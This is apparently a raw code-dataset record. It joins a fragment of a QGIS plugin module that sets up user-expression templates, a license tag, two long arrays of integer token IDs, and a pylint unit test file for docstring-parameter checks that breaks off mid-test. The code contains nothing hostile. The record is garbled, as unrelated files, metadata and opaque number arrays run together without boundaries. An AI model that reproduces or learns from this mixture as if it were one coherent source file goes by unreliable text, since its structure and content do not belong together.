[QgsFeatureRequest.ALL_ATTRIBUTES]. \"\"\" from qgis.core import * from qgis.gui import * @qgsfunction(args='auto', group='Custom') def my_sum(value1, value2, feature, parent): \"\"\" Calculates the sum of the two parameters value1 and value2. <h2>Example usage:</h2> <ul> <li>my_sum(5, 8) -> 13</li> <li>my_sum(\"fiel1\", \"field2\") -> 42</li> </ul> \"\"\" return value1 + value2 """ try: import expressions expressions.load = load_user_expressions expressions.load(expressionspath) expressions.template = template except ImportError: # We get a import error and crash for some reason even if we make the expressions package # TODO Fix the crash on first load with no expressions folder # But for now it's not the end of the world if it doesn't load the first time pass
gpl-2.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 624, 199, 17623, 272, 922, 14, 647, 272, 10652, 9858, 272, 6148, 463, 520, 17474, 20527, 6900, 272, 1898, 3322, 520, 334, 35, 9, 6900, 701, 653, 1619, 290, 644, 23521, 1143, 272, 11426, 4483, 520, 336, 23521, 1143, 6308, 302, 1619, 290, 737, 29712, 6308, 2414, 199, 17623, 199, 10, 17997, 627, 199, 10, 257, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 221, 627, 199, 10, 257, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 221, 627, 199, 10, 257, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 844, 12, 503, 258, 627, 199, 10, 257, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 15530, 627, 199, 10, 17997, 627, 199, 17623, 199, 624, 199, 199, 363, 2502, 363, 275, 283, 46, 1619, 290, 644, 23521, 1143, 7, 199, 363, 602, 363, 275, 283, 19825, 20527, 6900, 7, 199, 363, 7307, 363, 275, 8189, 35, 9, 6900, 12, 653, 1619, 290, 644, 23521, 1143, 7, 199, 3, 961, 911, 664, 8717, 543, 282, 6135, 12002, 17, 1380, 1265, 886, 282, 6135, 6359, 199, 363, 5792, 363, 275, 4505, 3484, 2689, 40, 12913, 199, 199, 646, 747, 199, 646, 984, 199, 646, 5739, 199, 646, 5190, 199, 199, 504, 15640, 14, 24107, 14, 10901, 492, 1413, 29263, 199, 504, 15640, 14, 1018, 492, 1413, 5668, 12, 4888, 5039, 12, 4888, 2209, 2445, 421, 199, 318, 2248, 63, 751, 63, 15264, 8, 515, 304, 272, 408, 272, 7190, 1006, 922, 8455, 687, 314, 1627, 3792, 272, 408, 272, 327, 7382, 1006, 1134, 1584, 436, 492, 3062, 272, 4621, 275, 5739, 14, 6463, 8, 515, 435, 3286, 4856, 647, 531, 272, 1561, 275, 359, 736, 14, 515, 14, 4846, 8, 70, 31280, 19, 61, 367, 289, 315, 4621, 61, 272, 367, 536, 315, 1561, 26, 267, 340, 536, 508, 4396, 826, 5727, 288, 1980, 267, 327, 3709, 922, 3965, 3423, 1077, 506, 7264, 543, 1894, 458, 1593, 267, 327, 2951, 16306, 314, 570, 365, 8321, 370, 664, 652, 370, 2248, 314, 3423, 1901, 27024, 267, 862, 26, 288, 636, 646, 29093, 15264, 23379, 16, 5469, 908, 8, 354, 395, 9480, 1062, 7992, 1012, 267, 871, 26, 288, 1125, 275, 5190, 14, 908, 63, 2804, 342, 288, 1499, 1213, 275, 1413, 29263, 14, 5275, 480, 1899, 4527, 6274, 401, 298, 1899, 8455, 531, 288, 1499, 275, 1413, 29263, 14, 5275, 480, 1899, 4527, 6274, 401, 298, 1918, 922, 3965, 469, 16, 93, 365, 440, 1686, 3471, 908, 8, 354, 9, 288, 4888, 2209, 2445, 14, 793, 2209, 8, 1328, 435, 1867, 78, 2, 435, 1125, 12, 1499, 1213, 12, 1413, 5668, 14, 3849, 9, 421, 199, 751, 1548, 4219, 275, 747, 14, 515, 14, 904, 8, 7350, 5039, 14, 25325, 5268, 3567, 2042, 1062, 298, 1548, 531, 199, 15264, 515, 275, 747, 14, 515, 14, 904, 8, 751, 1548, 4219, 12, 298, 15264, 531, 199, 199, 1274, 14, 515, 14, 740, 8, 751, 1548, 4219, 9, 199, 199, 692, 440, 747, 14, 515, 14, 2444, 8, 15264, 515, 304, 272, 747, 14, 8347, 8, 15264, 515, 9, 199, 199, 826, 493, 275, 747, 14, 515, 14, 904, 8, 15264, 515, 12, 4396, 826, 4343, 647, 531, 199, 692, 440, 747, 14, 515, 14, 2444, 8, 826, 493, 304, 272, 1551, 8, 826, 493, 12, 298, 87, 3471, 1600, 342, 199, 199, 1160, 275, 9638, 3212, 3212, 2, 199, 16213, 282, 892, 805, 1808, 314, 768, 81, 458, 1593, 7531, 14, 199, 199, 1918, 805, 4729, 314, 2569, 2633, 199, 199, 26, 635, 359, 1629, 2189, 13930, 1263, 2633, 1265, 2934, 370, 986, 370, 2195, 805, 2544, 1598, 314, 2569, 2368, 14, 199, 26, 635, 3878, 26, 710, 1453, 3878, 199, 26, 635, 1676, 26, 710, 4888, 9093, 909, 199, 26, 635, 1067, 26, 982, 2337, 365, 376, 1423, 2797, 1124, 1100, 1040, 1911, 737, 314, 2061, 355, 3421, 12, 642, 1750, 911, 1395, 282, 1124, 7350, 9093, 2998, 1040, 355, 909, 12, 626, 10557, 2879, 370, 7750, 4722, 2556, 2839, 355, 3965, 2860, 14, 662, 14, 71, 14, 1124, 1100, 14, 1975, 360, 1897, 63, 344, 358, 1040, 199, 26, 5808, 26, 710, 754, 402, 314, 3965, 14, 421, 199, 1918, 768, 81, 458, 1593, 7531, 11479, 314, 2569, 2368, 26, 199, 199, 26, 635, 1249, 26, 25022, 314, 1329, 402, 2368, 14, 8777, 1124, 589, 534, 2495, 14700, 314, 1329, 1467, 2368, 911, 5847, 506, 12509, 687, 314, 4955, 14, 199, 26, 635, 1572, 26, 710, 536, 402, 314, 1572, 1334, 1314, 642, 3965, 805, 911, 1598, 506, 10532, 14, 199, 26, 635, 4440, 7660, 26, 2494, 642, 370, 756, 340, 2195, 805, 1630, 440, 2879, 2151, 3878, 14, 7660, 1252, 7827, 370, 715, 14, 199, 26, 635, 11812, 63, 3406, 26, 1626, 1625, 402, 2225, 1561, 626, 787, 1415, 370, 1255, 2574, 642, 805, 14, 7827, 370, 2574, 359, 7350, 5968, 2017, 14, 1761, 63, 18166, 1055, 199, 13356, 3212, 2, 199, 199, 504, 15640, 14, 1018, 492, 627, 199, 504, 15640, 14, 5885, 492, 627, 199, 199, 32, 81, 458, 1593, 8, 589, 534, 2495, 297, 1572, 534, 7223, 358, 199, 318, 3002, 63, 1838, 8, 585, 17, 12, 574, 18, 12, 3878, 12, 1676, 304, 272, 971, 3212, 3212, 2, 272, 28562, 314, 3089, 402, 314, 2877, 2633, 574, 17, 436, 574, 18, 14, 272, 665, 72, 18, 30, 9846, 4503, 9919, 72, 18, 30, 272, 665, 348, 30, 489, 665, 317, 30, 1662, 63, 1838, 8, 21, 12, 1695, 9, 1035, 4944, 1108, 317, 30, 489, 665, 317, 30, 1662, 63, 1838, 2961, 2, 329, 352, 17, 20756, 8441, 698, 18, 60, 531, 1035, 5685, 1108, 317, 30, 272, 3068, 348, 30, 272, 971, 3212, 3212, 2, 272, 372, 574, 17, 435, 574, 18, 199, 624, 421, 199, 893, 26, 272, 492, 8455, 339, 8455, 14, 912, 275, 2248, 63, 751, 63, 15264, 272, 8455, 14, 912, 8, 15264, 515, 9, 272, 8455, 14, 1160, 275, 1978, 199, 2590, 3545, 26, 272, 327, 2136, 664, 282, 492, 1125, 436, 12420, 367, 2005, 4499, 2755, 340, 781, 1852 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 624, 199, 17623, 272, 922, 14, 647, 272, 10652, 9858, 272, 6148, 463, 520, 17474, 20527, 6900, 272, 1898, 3322, 520, 334, 35, 9, 6900, 701, 653, 1619, 290, 644, 23521, 1143, 272, 11426, 4483, 520, 336, 23521, 1143, 6308, 302, 1619, 290, 737, 29712, 6308, 2414, 199, 17623, 199, 10, 17997, 627, 199, 10, 257, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 221, 627, 199, 10, 257, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 221, 627, 199, 10, 257, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 844, 12, 503, 258, 627, 199, 10, 257, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 15530, 627, 199, 10, 17997, 627, 199, 17623, 199, 624, 199, 199, 363, 2502, 363, 275, 283, 46, 1619, 290, 644, 23521, 1143, 7, 199, 363, 602, 363, 275, 283, 19825, 20527, 6900, 7, 199, 363, 7307, 363, 275, 8189, 35, 9, 6900, 12, 653, 1619, 290, 644, 23521, 1143, 7, 199, 3, 961, 911, 664, 8717, 543, 282, 6135, 12002, 17, 1380, 1265, 886, 282, 6135, 6359, 199, 363, 5792, 363, 275, 4505, 3484, 2689, 40, 12913, 199, 199, 646, 747, 199, 646, 984, 199, 646, 5739, 199, 646, 5190, 199, 199, 504, 15640, 14, 24107, 14, 10901, 492, 1413, 29263, 199, 504, 15640, 14, 1018, 492, 1413, 5668, 12, 4888, 5039, 12, 4888, 2209, 2445, 421, 199, 318, 2248, 63, 751, 63, 15264, 8, 515, 304, 272, 408, 272, 7190, 1006, 922, 8455, 687, 314, 1627, 3792, 272, 408, 272, 327, 7382, 1006, 1134, 1584, 436, 492, 3062, 272, 4621, 275, 5739, 14, 6463, 8, 515, 435, 3286, 4856, 647, 531, 272, 1561, 275, 359, 736, 14, 515, 14, 4846, 8, 70, 31280, 19, 61, 367, 289, 315, 4621, 61, 272, 367, 536, 315, 1561, 26, 267, 340, 536, 508, 4396, 826, 5727, 288, 1980, 267, 327, 3709, 922, 3965, 3423, 1077, 506, 7264, 543, 1894, 458, 1593, 267, 327, 2951, 16306, 314, 570, 365, 8321, 370, 664, 652, 370, 2248, 314, 3423, 1901, 27024, 267, 862, 26, 288, 636, 646, 29093, 15264, 23379, 16, 5469, 908, 8, 354, 395, 9480, 1062, 7992, 1012, 267, 871, 26, 288, 1125, 275, 5190, 14, 908, 63, 2804, 342, 288, 1499, 1213, 275, 1413, 29263, 14, 5275, 480, 1899, 4527, 6274, 401, 298, 1899, 8455, 531, 288, 1499, 275, 1413, 29263, 14, 5275, 480, 1899, 4527, 6274, 401, 298, 1918, 922, 3965, 469, 16, 93, 365, 440, 1686, 3471, 908, 8, 354, 9, 288, 4888, 2209, 2445, 14, 793, 2209, 8, 1328, 435, 1867, 78, 2, 435, 1125, 12, 1499, 1213, 12, 1413, 5668, 14, 3849, 9, 421, 199, 751, 1548, 4219, 275, 747, 14, 515, 14, 904, 8, 7350, 5039, 14, 25325, 5268, 3567, 2042, 1062, 298, 1548, 531, 199, 15264, 515, 275, 747, 14, 515, 14, 904, 8, 751, 1548, 4219, 12, 298, 15264, 531, 199, 199, 1274, 14, 515, 14, 740, 8, 751, 1548, 4219, 9, 199, 199, 692, 440, 747, 14, 515, 14, 2444, 8, 15264, 515, 304, 272, 747, 14, 8347, 8, 15264, 515, 9, 199, 199, 826, 493, 275, 747, 14, 515, 14, 904, 8, 15264, 515, 12, 4396, 826, 4343, 647, 531, 199, 692, 440, 747, 14, 515, 14, 2444, 8, 826, 493, 304, 272, 1551, 8, 826, 493, 12, 298, 87, 3471, 1600, 342, 199, 199, 1160, 275, 9638, 3212, 3212, 2, 199, 16213, 282, 892, 805, 1808, 314, 768, 81, 458, 1593, 7531, 14, 199, 199, 1918, 805, 4729, 314, 2569, 2633, 199, 199, 26, 635, 359, 1629, 2189, 13930, 1263, 2633, 1265, 2934, 370, 986, 370, 2195, 805, 2544, 1598, 314, 2569, 2368, 14, 199, 26, 635, 3878, 26, 710, 1453, 3878, 199, 26, 635, 1676, 26, 710, 4888, 9093, 909, 199, 26, 635, 1067, 26, 982, 2337, 365, 376, 1423, 2797, 1124, 1100, 1040, 1911, 737, 314, 2061, 355, 3421, 12, 642, 1750, 911, 1395, 282, 1124, 7350, 9093, 2998, 1040, 355, 909, 12, 626, 10557, 2879, 370, 7750, 4722, 2556, 2839, 355, 3965, 2860, 14, 662, 14, 71, 14, 1124, 1100, 14, 1975, 360, 1897, 63, 344, 358, 1040, 199, 26, 5808, 26, 710, 754, 402, 314, 3965, 14, 421, 199, 1918, 768, 81, 458, 1593, 7531, 11479, 314, 2569, 2368, 26, 199, 199, 26, 635, 1249, 26, 25022, 314, 1329, 402, 2368, 14, 8777, 1124, 589, 534, 2495, 14700, 314, 1329, 1467, 2368, 911, 5847, 506, 12509, 687, 314, 4955, 14, 199, 26, 635, 1572, 26, 710, 536, 402, 314, 1572, 1334, 1314, 642, 3965, 805, 911, 1598, 506, 10532, 14, 199, 26, 635, 4440, 7660, 26, 2494, 642, 370, 756, 340, 2195, 805, 1630, 440, 2879, 2151, 3878, 14, 7660, 1252, 7827, 370, 715, 14, 199, 26, 635, 11812, 63, 3406, 26, 1626, 1625, 402, 2225, 1561, 626, 787, 1415, 370, 1255, 2574, 642, 805, 14, 7827, 370, 2574, 359, 7350, 5968, 2017, 14, 1761, 63, 18166, 1055, 199, 13356, 3212, 2, 199, 199, 504, 15640, 14, 1018, 492, 627, 199, 504, 15640, 14, 5885, 492, 627, 199, 199, 32, 81, 458, 1593, 8, 589, 534, 2495, 297, 1572, 534, 7223, 358, 199, 318, 3002, 63, 1838, 8, 585, 17, 12, 574, 18, 12, 3878, 12, 1676, 304, 272, 971, 3212, 3212, 2, 272, 28562, 314, 3089, 402, 314, 2877, 2633, 574, 17, 436, 574, 18, 14, 272, 665, 72, 18, 30, 9846, 4503, 9919, 72, 18, 30, 272, 665, 348, 30, 489, 665, 317, 30, 1662, 63, 1838, 8, 21, 12, 1695, 9, 1035, 4944, 1108, 317, 30, 489, 665, 317, 30, 1662, 63, 1838, 2961, 2, 329, 352, 17, 20756, 8441, 698, 18, 60, 531, 1035, 5685, 1108, 317, 30, 272, 3068, 348, 30, 272, 971, 3212, 3212, 2, 272, 372, 574, 17, 435, 574, 18, 199, 624, 421, 199, 893, 26, 272, 492, 8455, 339, 8455, 14, 912, 275, 2248, 63, 751, 63, 15264, 272, 8455, 14, 912, 8, 15264, 515, 9, 272, 8455, 14, 1160, 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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
rogalski/pylint
pylint/test/extensions/test_check_docs.py
1
51612
# Copyright (c) 2014-2015 Bruno Daniel <bruno.daniel@blue-yonder.com> # Copyright (c) 2015-2016 Claudiu Popa <pcmanticore@gmail.com> # Copyright (c) 2016 Ashley Whetter <ashley@awhetter.co.uk> # Copyright (c) 2016 Glenn Matthews <glenn@e-dad.net> # Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html # For details: https://github.com/PyCQA/pylint/blob/master/COPYING """Unit tests for the pylint checkers in :mod:`pylint.extensions.check_docs`, in particular the parameter documentation checker `DocstringChecker` """ from __future__ import division, print_function, absolute_import import sys import pytest import astroid from pylint.testutils import CheckerTestCase, Message, set_config from pylint.extensions.docparams import DocstringParameterChecker class TestParamDocChecker(CheckerTestCase): """Tests for pylint_plugin.ParamDocChecker""" CHECKER_CLASS = DocstringParameterChecker def test_missing_func_params_in_sphinx_docstring(self): """Example of a function with missing Sphinx parameter documentation in the docstring """ node = astroid.extract_node(""" def function_foo(x, y, z): '''docstring ... :param x: bla :param int z: bar ''' pass """) with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=node, args=('y',)), Message( msg_id='missing-type-doc', node=node, args=('x, y',)) ): self.checker.visit_functiondef(node) def test_missing_func_params_in_google_docstring(self): """Example of a function with missing Google style parameter documentation in the docstring """ node = astroid.extract_node(""" def function_foo(x, y, z): '''docstring ... Args: x: bla z (int): bar some other stuff ''' pass """) with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=node, args=('y',)), Message( msg_id='missing-type-doc', node=node, args=('x, y',)) ): self.checker.visit_functiondef(node) def test_missing_func_params_in_numpy_docstring(self): """Example of a function with missing NumPy style parameter documentation in the docstring """ node = astroid.extract_node(""" def function_foo(x, y, z): '''docstring ... Parameters ---------- x: bla z: int bar some other stuff ''' pass """) with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=node, args=('y',)), Message( msg_id='missing-type-doc', node=node, args=('x, y',)) ): self.checker.visit_functiondef(node) def test_tolerate_no_param_documentation_at_all(self): """Example of a function with no parameter documentation at all No error message is emitted. """ node = astroid.extract_node(""" def function_foo(x, y): '''docstring ... missing parameter documentation''' pass """) with self.assertNoMessages(): self.checker.visit_functiondef(node) @set_config(accept_no_param_doc=False) def test_don_t_tolerate_no_param_documentation_at_all(self): """Example of a function with no parameter documentation at all Missing documentation error message is emitted. """ node = astroid.extract_node(""" def function_foo(x, y): '''docstring ... missing parameter documentation''' pass """) with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=node, args=('x, y',)), Message( msg_id='missing-type-doc', node=node, args=('x, y',)) ): self.checker.visit_functiondef(node) @set_config(accept_no_param_doc=False) def test_see_tolerate_no_param_documentation_at_all(self): """Example for the usage of "For the parameters, see" to suppress missing-param warnings. """ node = astroid.extract_node(""" def function_foo(x, y): '''docstring ... For the parameters, see :func:`blah` ''' pass """) with self.assertNoMessages(): self.checker.visit_functiondef(node) def _visit_methods_of_class(self, node): """Visit all methods of a class node :param node: class node :type node: :class:`astroid.scoped_nodes.Class` """ for body_item in node.body: if (isinstance(body_item, astroid.FunctionDef) and hasattr(body_item, 'name')): self.checker.visit_functiondef(body_item) def test_missing_method_params_in_sphinx_docstring(self): """Example of a class method with missing parameter documentation in the Sphinx style docstring """ node = astroid.extract_node(""" class Foo(object): def method_foo(self, x, y): '''docstring ... missing parameter documentation :param x: bla ''' pass """) method_node = node.body[0] with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=method_node, args=('y',)), Message( msg_id='missing-type-doc', node=method_node, args=('x, y',)) ): self._visit_methods_of_class(node) def test_missing_method_params_in_google_docstring(self): """Example of a class method with missing parameter documentation in the Google style docstring """ node = astroid.extract_node(""" class Foo(object): def method_foo(self, x, y): '''docstring ... missing parameter documentation Args: x: bla ''' pass """) method_node = node.body[0] with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=method_node, args=('y',)), Message( msg_id='missing-type-doc', node=method_node, args=('x, y',)) ): self._visit_methods_of_class(node) def test_missing_method_params_in_numpy_docstring(self): """Example of a class method with missing parameter documentation in the Numpy style docstring """ node = astroid.extract_node(""" class Foo(object): def method_foo(self, x, y): '''docstring ... missing parameter documentation Parameters ---------- x: bla ''' pass """) method_node = node.body[0] with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=method_node, args=('y',)), Message( msg_id='missing-type-doc', node=method_node, args=('x, y',)) ): self._visit_methods_of_class(node) def test_existing_func_params_in_sphinx_docstring(self): """Example of a function with correctly documented parameters and return values (Sphinx style) """ node = astroid.extract_node(""" def function_foo(xarg, yarg, zarg, warg): '''function foo ... :param xarg: bla xarg :type xarg: int :parameter yarg: bla yarg :type yarg: my.qualified.type :arg int zarg: bla zarg :keyword my.qualified.type warg: bla warg :return: sum :rtype: float ''' return xarg + yarg """) with self.assertNoMessages(): self.checker.visit_functiondef(node) def test_existing_func_params_in_google_docstring(self): """Example of a function with correctly documented parameters and return values (Google style) """ node = astroid.extract_node(""" def function_foo(xarg, yarg, zarg, warg): '''function foo ... Args: xarg (int): bla xarg yarg (my.qualified.type): bla bla yarg zarg (int): bla zarg warg (my.qualified.type): bla warg Returns: float: sum ''' return xarg + yarg """) with self.assertNoMessages(): self.checker.visit_functiondef(node) def test_existing_func_params_in_numpy_docstring(self): """Example of a function with correctly documented parameters and return values (Numpy style) """ node = astroid.extract_node(""" def function_foo(xarg, yarg, zarg, warg): '''function foo ... Parameters ---------- xarg: int bla xarg yarg: my.qualified.type bla yarg zarg: int bla zarg warg: my.qualified.type bla warg Returns ------- float sum ''' return xarg + yarg """) with self.assertNoMessages(): self.checker.visit_functiondef(node) def test_wrong_name_of_func_params_in_sphinx_docstring(self): """Example of functions with inconsistent parameter names in the signature and in the Sphinx style documentation """ node = astroid.extract_node(""" def function_foo(xarg, yarg, zarg): '''function foo ... :param xarg1: bla xarg :type xarg: int :param yarg: bla yarg :type yarg1: float :param str zarg1: bla zarg ''' return xarg + yarg """) with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=node, args=('xarg, zarg',)), Message( msg_id='missing-type-doc', node=node, args=('yarg, zarg',)), Message( msg_id='differing-param-doc', node=node, args=('xarg1, zarg1',)), Message( msg_id='differing-type-doc', node=node, args=('yarg1, zarg1',)), ): self.checker.visit_functiondef(node) node = astroid.extract_node(""" def function_foo(xarg, yarg): '''function foo ... :param yarg1: bla yarg :type yarg1: float For the other parameters, see bla. ''' return xarg + yarg """) with self.assertAddsMessages( Message( msg_id='differing-param-doc', node=node, args=('yarg1',)), Message( msg_id='differing-type-doc', node=node, args=('yarg1',)), ): self.checker.visit_functiondef(node) def test_wrong_name_of_func_params_in_google_docstring(self): """Example of functions with inconsistent parameter names in the signature and in the Google style documentation """ node = astroid.extract_node(""" def function_foo(xarg, yarg, zarg): '''function foo ... Args: xarg1 (int): bla xarg yarg (float): bla yarg zarg1 (str): bla zarg ''' return xarg + yarg """) with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=node, args=('xarg, zarg',)), Message( msg_id='missing-type-doc', node=node, args=('xarg, zarg',)), Message( msg_id='differing-param-doc', node=node, args=('xarg1, zarg1',)), Message( msg_id='differing-type-doc', node=node, args=('xarg1, zarg1',)), ): self.checker.visit_functiondef(node) node = astroid.extract_node(""" def function_foo(xarg, yarg): '''function foo ... Args: yarg1 (float): bla yarg For the other parameters, see bla. ''' return xarg + yarg """) with self.assertAddsMessages( Message( msg_id='differing-param-doc', node=node, args=('yarg1',)), Message( msg_id='differing-type-doc', node=node, args=('yarg1',)) ): self.checker.visit_functiondef(node) def test_wrong_name_of_func_params_in_numpy_docstring(self): """Example of functions with inconsistent parameter names in the signature and in the Numpy style documentation """ node = astroid.extract_node(""" def function_foo(xarg, yarg, zarg): '''function foo ... Parameters ---------- xarg1: int bla xarg yarg: float bla yarg zarg1: str bla zarg ''' return xarg + yarg """) with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=node, args=('xarg, zarg',)), Message( msg_id='missing-type-doc', node=node, args=('xarg, zarg',)), Message( msg_id='differing-param-doc', node=node, args=('xarg1, zarg1',)), Message( msg_id='differing-type-doc', node=node, args=('xarg1, zarg1',)), ): self.checker.visit_functiondef(node) node = astroid.extract_node(""" def function_foo(xarg, yarg): '''function foo ... Parameters ---------- yarg1: float bla yarg For the other parameters, see bla. ''' return xarg + yarg """) with self.assertAddsMessages( Message( msg_id='differing-param-doc', node=node, args=('yarg1',)), Message( msg_id='differing-type-doc', node=node, args=('yarg1',)) ): self.checker.visit_functiondef(node) def test_see_sentence_for_func_params_in_sphinx_docstring(self): """Example for the usage of "For the other parameters, see" to avoid too many repetitions, e.g. in functions or methods adhering to a given interface (Sphinx style) """ node = astroid.extract_node(""" def function_foo(xarg, yarg): '''function foo ... :param yarg: bla yarg :type yarg: float For the other parameters, see :func:`bla` ''' return xarg + yarg """) with self.assertNoMessages(): self.checker.visit_functiondef(node) def test_see_sentence_for_func_params_in_google_docstring(self): """Example for the usage of "For the other parameters, see" to avoid too many repetitions, e.g. in functions or methods adhering to a given interface (Google style) """ node = astroid.extract_node(""" def function_foo(xarg, yarg): '''function foo ... Args: yarg (float): bla yarg For the other parameters, see :func:`bla` ''' return xarg + yarg """) with self.assertNoMessages(): self.checker.visit_functiondef(node) def test_see_sentence_for_func_params_in_numpy_docstring(self): """Example for the usage of "For the other parameters, see" to avoid too many repetitions, e.g. in functions or methods adhering to a given interface (Numpy style) """ node = astroid.extract_node(""" def function_foo(xarg, yarg): '''function foo ... Parameters ---------- yarg: float bla yarg For the other parameters, see :func:`bla` ''' return xarg + yarg """) with self.assertNoMessages(): self.checker.visit_functiondef(node) def test_constr_params_in_class_sphinx(self): """Example of a class with missing constructor parameter documentation (Sphinx style) Everything is completely analogous to functions. """ node = astroid.extract_node(""" class ClassFoo(object): '''docstring foo :param y: bla missing constructor parameter documentation ''' def __init__(self, x, y): pass """) with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=node, args=('x',)), Message( msg_id='missing-type-doc', node=node, args=('x, y',)) ): self._visit_methods_of_class(node) def test_constr_params_in_class_google(self): """Example of a class with missing constructor parameter documentation (Google style) Everything is completely analogous to functions. """ node = astroid.extract_node(""" class ClassFoo(object): '''docstring foo Args: y: bla missing constructor parameter documentation ''' def __init__(self, x, y): pass """) with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=node, args=('x',)), Message( msg_id='missing-type-doc', node=node, args=('x, y',)) ): self._visit_methods_of_class(node) def test_constr_params_in_class_numpy(self): """Example of a class with missing constructor parameter documentation (Numpy style) Everything is completely analogous to functions. """ node = astroid.extract_node(""" class ClassFoo(object): '''docstring foo Parameters ---------- y: bla missing constructor parameter documentation ''' def __init__(self, x, y): pass """) with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=node, args=('x',)), Message( msg_id='missing-type-doc', node=node, args=('x, y',)) ): self._visit_methods_of_class(node) def test_constr_params_in_init_sphinx(self): """Example of a class with missing constructor parameter documentation (Sphinx style) Everything is completely analogous to functions. """ node = astroid.extract_node(""" class ClassFoo(object): def __init__(self, x, y): '''docstring foo constructor :param y: bla missing constructor parameter documentation ''' pass """) constructor_node = node.body[0] with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=constructor_node, args=('x',)), Message( msg_id='missing-type-doc', node=constructor_node, args=('x, y',)) ): self._visit_methods_of_class(node) def test_constr_params_in_init_google(self): """Example of a class with missing constructor parameter documentation (Google style) Everything is completely analogous to functions. """ node = astroid.extract_node(""" class ClassFoo(object): def __init__(self, x, y): '''docstring foo constructor Args: y: bla missing constructor parameter documentation ''' pass """) constructor_node = node.body[0] with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=constructor_node, args=('x',)), Message( msg_id='missing-type-doc', node=constructor_node, args=('x, y',)) ): self._visit_methods_of_class(node) def test_constr_params_in_init_numpy(self): """Example of a class with missing constructor parameter documentation (Numpy style) Everything is completely analogous to functions. """ node = astroid.extract_node(""" class ClassFoo(object): def __init__(self, x, y): '''docstring foo constructor Parameters ---------- y: bla missing constructor parameter documentation ''' pass """) constructor_node = node.body[0] with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=constructor_node, args=('x',)), Message( msg_id='missing-type-doc', node=constructor_node, args=('x, y',)) ): self._visit_methods_of_class(node) @set_config(accept_no_param_doc=False) def test_see_sentence_for_constr_params_in_class(self): """Example usage of "For the parameters, see" in class docstring""" node = astroid.extract_node(""" class ClassFoo(object): '''docstring foo For the parameters, see :func:`bla` ''' def __init__(self, x, y): '''init''' pass """) with self.assertNoMessages(): self._visit_methods_of_class(node) @set_config(accept_no_param_doc=False) def test_see_sentence_for_constr_params_in_init(self): """Example usage of "For the parameters, see" in init docstring""" node = astroid.extract_node(""" class ClassFoo(object): '''foo''' def __init__(self, x, y): '''docstring foo constructor For the parameters, see :func:`bla` ''' pass """) with self.assertNoMessages(): self._visit_methods_of_class(node) def test_constr_params_in_class_and_init_sphinx(self): """Example of a class with missing constructor parameter documentation in both the init docstring and the class docstring (Sphinx style) Everything is completely analogous to functions. """ node = astroid.extract_node(""" class ClassFoo(object): '''docstring foo :param y: None missing constructor parameter documentation ''' def __init__(self, x, y): '''docstring foo :param y: bla missing constructor parameter documentation ''' pass """) constructor_node = node.body[0] with self.assertAddsMessages( Message( msg_id='multiple-constructor-doc', node=node, args=(node.name,)), Message( msg_id='missing-param-doc', node=node, args=('x',)), Message( msg_id='missing-type-doc', node=node, args=('x, y',)), Message( msg_id='missing-param-doc', node=constructor_node, args=('x',)), Message( msg_id='missing-type-doc', node=constructor_node, args=('x, y',)), ): self._visit_methods_of_class(node) def test_constr_params_in_class_and_init_google(self): """Example of a class with missing constructor parameter documentation in both the init docstring and the class docstring (Google style) Everything is completely analogous to functions. """ node = astroid.extract_node(""" class ClassFoo(object): '''docstring foo Args: y: bla missing constructor parameter documentation ''' def __init__(self, x, y): '''docstring foo Args: y: bla missing constructor parameter documentation ''' pass """) constructor_node = node.body[0] with self.assertAddsMessages( Message( msg_id='multiple-constructor-doc', node=node, args=(node.name,)), Message( msg_id='missing-param-doc', node=node, args=('x',)), Message( msg_id='missing-type-doc', node=node, args=('x, y',)), Message( msg_id='missing-param-doc', node=constructor_node, args=('x',)), Message( msg_id='missing-type-doc', node=constructor_node, args=('x, y',)), ): self._visit_methods_of_class(node) def test_constr_params_in_class_and_init_numpy(self): """Example of a class with missing constructor parameter documentation in both the init docstring and the class docstring (Numpy style) Everything is completely analogous to functions. """ node = astroid.extract_node(""" class ClassFoo(object): '''docstring foo Parameters ---------- y: bla missing constructor parameter documentation ''' def __init__(self, x, y): '''docstring foo Parameters ---------- y: bla missing constructor parameter documentation ''' pass """) constructor_node = node.body[0] with self.assertAddsMessages( Message( msg_id='multiple-constructor-doc', node=node, args=(node.name,)), Message( msg_id='missing-param-doc', node=node, args=('x',)), Message( msg_id='missing-type-doc', node=node, args=('x, y',)), Message( msg_id='missing-param-doc', node=constructor_node, args=('x',)), Message( msg_id='missing-type-doc', node=constructor_node, args=('x, y',)), ): self._visit_methods_of_class(node) @pytest.mark.skipif(sys.version_info[0] != 3, reason="Enabled on Python 3") def test_kwonlyargs_are_taken_in_account(self): node = astroid.extract_node(''' def my_func(arg, *, kwonly, missing_kwonly): """The docstring :param int arg: The argument. :param bool kwonly: A keyword-arg. """ ''') with self.assertAddsMessages( Message( msg_id='missing-param-doc', node=node, args=('missing_kwonly', )), Message( 